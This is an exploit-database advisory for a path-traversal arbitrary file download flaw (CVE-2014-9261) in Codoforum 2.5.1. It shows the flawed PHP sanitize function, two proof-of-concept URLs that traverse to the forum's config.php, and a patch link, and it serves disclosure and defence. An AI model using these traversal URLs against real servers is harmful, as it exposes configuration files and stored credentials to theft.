Codoforum 2.5.1 Arbitrary File Download

vendor:

Codoforum

by:

Kacper Szurek

7.5

CVSS

HIGH

Arbitrary File Download

CWE

Product Name: Codoforum

Affected Version From: 2.5.2001

Affected Version To: 2.5.2001

Patch Exists: YES

Related CWE: CVE-2014-9261

CPE: a:codoforum:codoforum:2.5.1

Metasploit: N/A

Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=123751, https://www.infosecmatter.com/nessus-plugin-library/?id=146504

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2014

Codoforum 2.5.1 Arbitrary File Download

str_replace() is used to sanitize file path but function output is not assigned to variable. An attacker can exploit this vulnerability to download arbitrary files from the server.

Mitigation:

Use patch: https://codoforum.com/upgrades/codoforum.v.2.6.up.zip

Source

Exploit-DB raw data:

# Exploit Title: Codoforum 2.5.1 Arbitrary File Download
# Date: 23-11-2014
# Software Link: https://codoforum.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9261

1. Description
  
str_replace() is used to sanitize file path but function output is not assigned to variable

private function sanitize($name) {

    str_replace("..", "", $name);
    str_replace("%2e%2e", "", $name);

    return $name;
}

http://security.szurek.pl/codoforum-251-arbitrary-file-download.html

2. Proof of Concept

http://codoforum-url/index.php?u=serve/attachment&path=../../../../../sites/default/config.php
or
http://codoforum-url/index.php?u=serve/smiley&path=../../../../../sites/default/config.php

3. Solution:
  
Use patch:

https://codoforum.com/upgrades/codoforum.v.2.6.up.zip